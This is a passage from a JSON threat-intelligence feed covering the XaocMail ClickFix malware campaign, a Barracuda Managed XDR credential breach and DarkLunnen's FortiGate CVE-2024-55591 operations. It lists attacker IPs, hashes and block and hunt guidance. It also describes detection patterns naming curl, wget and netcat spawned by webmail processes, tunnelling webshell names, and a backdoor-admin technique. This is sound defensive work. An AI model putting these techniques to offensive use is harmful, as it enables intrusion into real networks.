Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/ee5fa33b58d0f2772e091e23de9db24908d970000a88e39fd7d908f30f5e591a/", "name": "MalwareBazaar" } ] }, { "value": "a972797cc1a4161f6e2841142b8cace9b781585f9a71b03aa79a9c051b817491", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/a972797cc1a4161f6e2841142b8cace9b781585f9a71b03aa79a9c051b817491/", "name": "MalwareBazaar" } ] }, { "value": "47e853092511d9663196e9b36d563a0c3e92ee734f88675c4f375ffcfa5f3db8", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/47e853092511d9663196e9b36d563a0c3e92ee734f88675c4f375ffcfa5f3db8/", "name": "MalwareBazaar" } ] }, { "value": "4efe003a54db8ffbaef6065270eacb0a59479ccc86941517ac7a33344e97bc1d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/4efe003a54db8ffbaef6065270eacb0a59479ccc86941517ac7a33344e97bc1d/", "name": "MalwareBazaar" } ] }, { "value": "9a2af4b6d9780e08c86ff35030ee1747ea11460cb1dffc868c48e7af6d626546", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "MSI installer impersonating products such as Visual Studio Tools, Python or Node.js that drops the Phantom53 beacon and watcher, delivered by the XaocMail ClickFix lure (msiexec mode).", "source_url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "source_label": "SOCRadar Threat Research Unit – XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe", "source_name": "SOCRadar", "sources": [ { "url": "https://socradar.io/blog/xaocmail-clickfix-phantom53-havox-america-asia-europe/", "name": "SOCRadar" }, { "url": "https://bazaar.abuse.ch/sample/9a2af4b6d9780e08c86ff35030ee1747ea11460cb1dffc868c48e7af6d626546/", "name": "MalwareBazaar" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/hunt.kql", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/hunt.spl", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/hunt_raw.spl", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/XaocMail-ClickFix-Phantom53-DoH-C2-Havoc/hunt.yaral", "download": "XaocMail-ClickFix-Phantom53-DoH-C2-Havoc_hunt.yaral" } ] }, { "id": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach", "folder": "threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach", "name": "Barracuda Managed XDR Integration Credential Store Breach", "short": "Barracuda Managed XDR credentials", "category": "Cloud / identity", "published": "2026-11-01", "entry_date": "2026-11-13 11:23", "last_updated": "2026-11-13", "seq": 47, "headline": "Barracuda Managed XDR integration credentials were reachable after a 1-2 November cloud intrusion; hunt sign-ins from the published addresses and the read-only-audit user agent", "summary": "Barracuda, writing on its Trust Center, says it found unauthorised activity in parts of its internal cloud between 1 and 2 November 2026. Initial access was a third-party cloud access key. One affected system stores credentials that Barracuda Managed XDR uses to collect data from customer integrations such as Microsoft 365, Google Workspace and endpoint security platforms. Barracuda says it has found no direct evidence those customer credentials were viewed or used, has rotated its own secrets, and has notified only the customers whose integrations may have been affected. Those organisations should revoke and recreate the credentials and review connected-system logs since 1 November; Barracuda says organisations that were not notified do not need to take action. The activity looks financially motivated: the operator searched for cryptocurrency wallets and related secrets. Two attacker source addresses on N963/Netsec hosting (180.178.56.10 and 52.128.238.126; the latter is APNIC space, not Microsoft Azure) are on the block list, as hosts only. A Korea Telecom address and a Cloudflare WARP IPv6 are alert only and must not be blocked. Hunt cloud and identity sign-ins and API calls from all four addresses, or with the distinctive user agent Mozilla/5.0 (compatible; read-only-audit), since 1 November, especially Barracuda connector service principals and OAuth apps. The other user agents Barracuda listed (Boto3, curl and Python-urllib) are ordinary client strings and are not indicators.", "caveat": "Barracuda has found no direct evidence that customer integration credentials were accessed. Do not block 221.146.68.107 (Korea Telecom) or 2a09:bac1:7680:3d0::26b:5b (Cloudflare WARP), and do not widen the two N963/Netsec blocks to the surrounding ranges. Do not treat Boto3/1.43.122, curl/8.5.0, curl/7.81.0 or Python-urllib/3.10 as indicators.", "targets": { "countries": [], "regions": [ "Worldwide" ], "sectors": [ "Cloud services", "Managed security", "Enterprise IT" ], "note": "Barracuda says this applies only to organisations using an API integration for Barracuda Managed XDR Cloud or Monitored Endpoint, and that only notified customers need to revoke and recreate those credentials. No countries were named.", "source": { "url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "label": "Barracuda – Barracuda XDR Integration Credentials", "name": "Barracuda" } }, "mitre": [ { "id": "T1199", "name": "Trusted Relationship", "url": "https://attack.mitre.org/techniques/T1199/" }, { "id": "T1078.004", "name": "Valid Accounts: Cloud Accounts", "url": "https://attack.mitre.org/techniques/T1078/004/" }, { "id": "T1528", "name": "Steal Application Access Token", "url": "https://attack.mitre.org/techniques/T1528/" }, { "id": "T1552.001", "name": "Credentials In Files", "url": "https://attack.mitre.org/techniques/T1552/001/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" } ], "recommended_actions": [ "If Barracuda notified you, revoke and recreate Managed XDR Cloud or Monitored Endpoint integration credentials (Microsoft 365, Google Workspace and endpoint connectors) and review connected-system logs since 1 November 2026.", "Block 180.178.56.10 and 52.128.238.126 as individual hosts (N963/Netsec hosting, not Azure). Do not block 221.146.68.107 (Korea Telecom) or 2a09:bac1:7680:3d0::26b:5b (Cloudflare WARP), and do not widen the blocks to the surrounding ranges.", "Hunt Entra ID, Cloud App and AWS CloudTrail sign-ins and API calls from those four addresses, or with the user agent Mozilla/5.0 (compatible; read-only-audit), since 1 November, especially Barracuda connector service principals and OAuth apps.", "Treat Boto3/1.43.122, curl/8.5.0, curl/7.81.0 and Python-urllib/3.10 as context only, not as indicators." ], "sources": [ { "url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "label": "Barracuda – Barracuda XDR Integration Credentials", "name": "Barracuda" } ], "indicator_count": 5, "block_now_count": 2, "hunt_count": 3, "hunt_counts": { "alert": 3 }, "indicator_counts": { "ipv4": 3, "ipv6": 1, "other": 1 }, "ioas": [ { "artefact": "Cloud or identity sign-ins and API calls from 180.178.56.10, 52.128.238.126, 221.146.68.107 or 2a09:bac1:7680:3d0::26b:5b, or with the user agent Mozilla/5.0 (compatible; read-only-audit), since 1 November 2026, especially by Barracuda connector service principals or OAuth apps", "log_source": "Defender XDR EntraIdSignInEvents, AADSignInEventsBeta, EntraIdSpnSignInEvents, AADSpnSignInEventsBeta and CloudAppEvents; AWS CloudTrail (AWSCloudTrail in Sentinel). The CloudTrail and some web tables need Microsoft Sentinel connected to the Defender portal.", "why": "Barracuda published these four addresses and the distinctive read-only-audit user agent as the source of the 1-2 November 2026 intrusion into the store that holds Managed XDR integration credentials. A hit on a Barracuda connector service principal or OAuth app is the highest-priority case, but any sign-in or API call from those indicators since 1 November is worth investigating. Tuning: match only those four addresses or a user agent containing read-only-audit; do not hunt the generic Boto3, curl or Python-urllib agents from the advisory. 221.146.68.107 is Korea Telecom subscriber space and 2a09:bac1:7680:3d0::26b:5b is Cloudflare WARP, so a match on those two is an alert lead, not a reason to block the network. Expected false positives: a legitimate user or service reaching your tenant through that exact Cloudflare WARP address or that Korea Telecom subscriber; or an internal audit tool that already uses the read-only-audit user agent. Confirm whether the principal is a Barracuda connector and whether the activity was expected.", "action": "alert", "has_query": true, "source_url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "source_name": "Barracuda", "title": "Cloud or identity sign-ins from the Barracuda addresses or the read-only-audit user agent", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 1, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/block_now.txt", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/defender_xdr_indicators.csv", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/hunt.kql", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/hunt.spl", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/hunt_raw.spl", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/hunt.yaral", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/iocs.csv", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach", "share_url": "https://iocwatch.com/t/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/", "indicators": [ { "value": "180.178.56.10", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Attacker source address published by Barracuda for the 1-2 November 2026 Managed XDR integration credential store intrusion. Datacenter host in AS963 (N963 PTE. LTD. / Netsec / Simcentric). Block this host only; do not block the surrounding range.", "source_url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "source_label": "Barracuda – Barracuda XDR Integration Credentials", "source_name": "Barracuda", "sources": [ { "url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "name": "Barracuda" } ] }, { "value": "52.128.238.126", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Attacker source address published by Barracuda for the 1-2 November 2026 intrusion. In AS963 (N963 PTE. LTD. / Netsec Limited) on 52.128.224.0/19, which is APNIC space, not Microsoft Azure. The /24 is shared hosting, so block this host only, not the range.", "source_url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "source_label": "Barracuda – Barracuda XDR Integration Credentials", "source_name": "Barracuda", "sources": [ { "url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "name": "Barracuda" } ] }, { "value": "221.146.68.107", "type": "ipv4", "confidence": "high", "recommended_action": "alert", "description": "Attacker source address published by Barracuda for the 1-2 November 2026 intrusion, on Korea Telecom (AS4766 KORNET). Shared ISP space; alert only, do not block.", "source_url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "source_label": "Barracuda – Barracuda XDR Integration Credentials", "source_name": "Barracuda", "sources": [ { "url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "name": "Barracuda" } ] }, { "value": "2a09:bac1:7680:3d0::26b:5b", "type": "ipv6", "confidence": "high", "recommended_action": "alert", "description": "Attacker source address published by Barracuda for the 1-2 November 2026 intrusion. In Cloudflare WARP (2a09:bac1::/32, AS13335). Shared VPN space; alert only, do not block Cloudflare WARP.", "source_url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "source_label": "Barracuda – Barracuda XDR Integration Credentials", "source_name": "Barracuda", "sources": [ { "url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "name": "Barracuda" } ] }, { "value": "Mozilla/5.0 (compatible; read-only-audit)", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Distinctive user agent published by Barracuda for the 1-2 November 2026 intrusion. Hunt cloud and identity sign-ins and API calls with this user agent since 1 November. The other user agents in the advisory (Boto3/1.43.122, curl/8.5.0, curl/7.81.0, Python-urllib/3.10) are ordinary client strings and are not indicators.", "source_url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "source_label": "Barracuda – Barracuda XDR Integration Credentials", "source_name": "Barracuda", "sources": [ { "url": "https://trust.barracuda.com/security/barracuda-xdr-integration-credentials", "name": "Barracuda" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/hunt.kql", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/hunt.spl", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/hunt_raw.spl", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Barracuda-Managed-XDR-Integration-Credential-Store-Breach/hunt.yaral", "download": "Barracuda-Managed-XDR-Integration-Credential-Store-Breach_hunt.yaral" } ] }, { "id": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations", "folder": "threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations", "name": "DarkLunnen: FortiGate CVE-2024-55591 Backdoor Account and Offensive Operations Against Europe", "short": "DarkLunnen", "category": "Espionage / APT", "published": "2026-11-11", "entry_date": "2026-11-13 11:03", "last_updated": "2026-11-13 11:12", "seq": 46, "headline": "An unattributed operator used a FortiGate CVE-2024-55591 exploit to create a service super-admin and ran 14 months of attacks on Europe", "summary": "Group-IB, writing on 11 November 2026 and updating the post on 13 November, describes an open directory on a Latvia-hosted server (46.8.236.121:8090) that exposed 14 months of work by an unattributed operator they name DarkLunnen. Exploit code in the recovered files carries Russian-language comments, but Group-IB has not linked the activity to a known group. The operator used a modified watchTowr proof of concept for FortiGate CVE-2024-55591 that creates a backdoor super-admin account named service; a stolen FortiGate configuration from a Romanian organisation contained that same account, and the operator extracted 10 cleartext VPN passwords from it. Scan results listed about 600 vulnerable FortiGates in Turkey, 16 in Ukraine, 14 in Azerbaijan and one in Algeria. Other recovered activity includes VNC brute force against about 5,800 endpoints (roughly a quarter with industrial HMI desktop names), Hikvision camera scans in Ukraine and Poland, attempted source-code collection from Ukrainian defence and aviation sites, Exchange webshells, a possible German-network intrusion with a stolen NTLM hash, restic access to an S3 backup, and Roundcube CVE-2025-49113 attempts. A second server at 129.146.87.174 on Oracle Cloud staged the exploit scripts. Both addresses, the staging URLs and the modified exploit hash are on the block list. The other recovered-file hashes from the open directory, and the SSH hop addresses in the operator's history, are alert only and must not be blocked.", "caveat": "Group-IB recovered 35 of 457 exposed files, so the picture is incomplete and the operator remains unattributed. SSH connections from the operator's history to hosts in the Netherlands, the United States, Thailand and France may be compromised intermediaries, including two with educational TLS certificates; those addresses, the recovered-file hashes other than popoc.py, the victim and educational domains, and legitimate services such as temp.sh are alert only and must not be blocked. A patch does not remove a service super-admin account already created, so hunt patched FortiGates too.", "targets": { "countries": [ { "code": "UA", "name": "Ukraine" }, { "code": "RO", "name": "Romania" }, { "code": "PL", "name": "Poland" }, { "code": "DE", "name": "Germany" }, { "code": "CZ", "name": "Czech Republic" }, { "code": "TR", "name": "Turkey" }, { "code": "AZ", "name": "Azerbaijan" }, { "code": "DZ", "name": "Algeria" } ], "regions": [ "Europe" ], "sectors": [ "Government", "Defence", "Aviation", "ICS/OT", "Healthcare" ], "note": "Group-IB reports Ukrainian defence and aviation among the apparent targets, a stolen FortiGate configuration from a Romanian organisation, VNC and Hikvision campaigns focused on Ukrainian and Polish addresses, a possible German-network intrusion, a Czech backup archive, and FortiGate scan results for about 600 devices in Turkey, 16 in Ukraine, 14 in Azerbaijan and one in Algeria. Further FortiGate target lists covered Switzerland, South Korea and Ireland, with unrecovered lists named for other countries.", "source": { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "name": "Group-IB" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1136.001", "name": "Create Account: Local Account", "url": "https://attack.mitre.org/techniques/T1136/001/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1572", "name": "Protocol Tunneling", "url": "https://attack.mitre.org/techniques/T1572/" }, { "id": "T1505.003", "name": "Web Shell", "url": "https://attack.mitre.org/techniques/T1505/003/" }, { "id": "T1071", "name": "Application Layer Protocol", "url": "https://attack.mitre.org/techniques/T1071/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1110.001", "name": "Password Guessing", "url": "https://attack.mitre.org/techniques/T1110/001/" }, { "id": "T1003", "name": "OS Credential Dumping", "url": "https://attack.mitre.org/techniques/T1003/" }, { "id": "T1550.002", "name": "Pass the Hash", "url": "https://attack.mitre.org/techniques/T1550/002/" }, { "id": "T1567", "name": "Exfiltration Over Web Service", "url": "https://attack.mitre.org/techniques/T1567/" } ], "recommended_actions": [ "Block 46.8.236.121 and 129.146.87.174, the staging URLs on 129.146.87.174:18080, and the SHA256 of popoc.py, and search proxy, firewall, DNS and EDR logs for them back to at least April 2025.", "Hunt FortiGate syslog for an administrator named service being added or given the super_admin profile from a jsconsole or websocket login (logdesc Admin added or Object attribute configured), and inspect the running config of every FortiGate for that account even if the device is already patched.", "Alert on files or processes named suo5, reGeorgSocksProxy.py, neo-reGeorg or tunnel.tomcat.5.jsp, and on a Roundcube web or PHP process spawning a shell or transfer tool.", "Alert on the other recovered-file hashes from the open directory and on the SSH hop addresses in the operator's history; do not block those hops, dltv.ac.th, education-bf.com, freeddns.org or temp.sh.", "If you find the account or the device was internet-exposed while vulnerable, rotate every secret the configuration stores (local VPN user passwords, administrator passwords, IPsec pre-shared keys, and LDAP or RADIUS credentials), review VPN logs for those accounts, and take HTTP and HTTPS administrative access off internet-facing interfaces.", "Patch FortiOS and FortiProxy against CVE-2024-55591 and the other edge-device bugs in Group-IB's targeted-vulnerabilities table." ], "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "name": "Group-IB" } ], "indicator_count": 41, "block_now_count": 7, "hunt_count": 34, "hunt_counts": { "alert": 34 }, "indicator_counts": { "sha256": 30, "ipv4": 6, "url": 4, "domain": 1 }, "ioas": [ { "artefact": "A FortiGate administrator named service being added or given the super_admin profile from a jsconsole or websocket login (logdesc 'Admin added' or 'Object attribute configured')", "log_source": "FortiGate syslog ingested into Defender XDR or Sentinel (CommonSecurityLog or a FortiGate custom table), Splunk (forti/fgt sourcetypes) or Google SecOps (Fortinet UDM)", "why": "DarkLunnen's modified CVE-2024-55591 exploit creates a backdoor super-admin named service through the jsconsole websocket used by the authentication bypass. A patch does not remove an account already created, so hunt patched devices too and inspect the running config for an unexpected service super_admin. Tuning: match only FortiGate or Fortinet events whose logdesc is Admin added or Object attribute configured; the account must be the admin named service (user, cfgobj, or the 'added new administrator service' message), not the ordinary FortiGate service= protocol field; the ui or method must be jsconsole or websocket. Expected false positives: a legitimate administrator who is actually named service and is created or changed from the FortiGate GUI CLI (jsconsole) by your own staff. Confirm the source address and whether the change was approved. The hunt returns nothing until FortiGate syslog is ingested.", "action": "alert", "has_query": true, "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_name": "Group-IB", "title": "FortiGate super-admin named service added from jsconsole", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Files or processes named suo5, reGeorgSocksProxy.py, neo-reGeorg or tunnel.tomcat.5.jsp", "log_source": "Defender XDR DeviceFileEvents and DeviceProcessEvents; Splunk endpoint file and process logs; Google SecOps file and process UDM", "why": "DarkLunnen deployed suo5 and Neo-reGeorg/reGeorg tunnelling webshells on compromised Exchange and other web servers. These tool names are distinctive. Tuning: match the file or process name, or a command line that contains suo5, reGeorgSocksProxy, neo-reGeorg, neoreGeorg or tunnel.tomcat.5.jsp. Generic names such as tunnel.php or tunnel.aspx are left out because they are too common. Expected false positives: a security, red-team or research process that runs the public tools.", "action": "alert", "has_query": true, "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_name": "Group-IB", "title": "suo5 or Neo-reGeorg/reGeorg tunnelling tools", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A Roundcube web or PHP process spawning a shell, Python, Perl, or a transfer tool such as curl, wget or netcat", "log_source": "Defender XDR DeviceProcessEvents and DeviceFileEvents; Splunk endpoint process and file logs; Google SecOps process UDM", "why": "DarkLunnen's shell history shows CVE-2025-49113 exploitation attempts against Roundcube. A successful exploit gives code execution in the webmail process, which then often starts a shell or transfer tool. Tuning: the parent must be a web or PHP process (php-fpm, php, php-cgi, httpd, apache2 or nginx) and the child a shell, Python, Perl, curl, wget or netcat; and either the parent or child path or command line contains roundcube, or a file under a roundcube path is created or modified on the same device within 2 minutes of the spawn. Expected false positives: an administrator or cron job updating Roundcube, which can both touch files under the application path and start a shell script. Confirm whether a change or update was expected.", "action": "alert", "has_query": true, "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_name": "Group-IB", "title": "Roundcube web process spawning a shell or transfer tool", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 3, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/block_now.txt", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/defender_xdr_indicators.csv", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/hunt.kql", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/hunt.spl", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/hunt_raw.spl", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/hunt.yaral", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/iocs.csv", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations", "share_url": "https://iocwatch.com/t/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/", "indicators": [ { "value": "46.8.236.121", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "DarkLunnen operator server in Latvia on CloudBackbone (AS56971), running Sliver command-and-control and the Python HTTP open directory on TCP 8090 that Group-IB found in late July 2026.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "129.146.87.174", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "DarkLunnen staging server on Oracle Cloud Infrastructure (AS31898) in the United States, serving exploit scripts and FortiGate target lists over HTTP on TCP 18080.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": 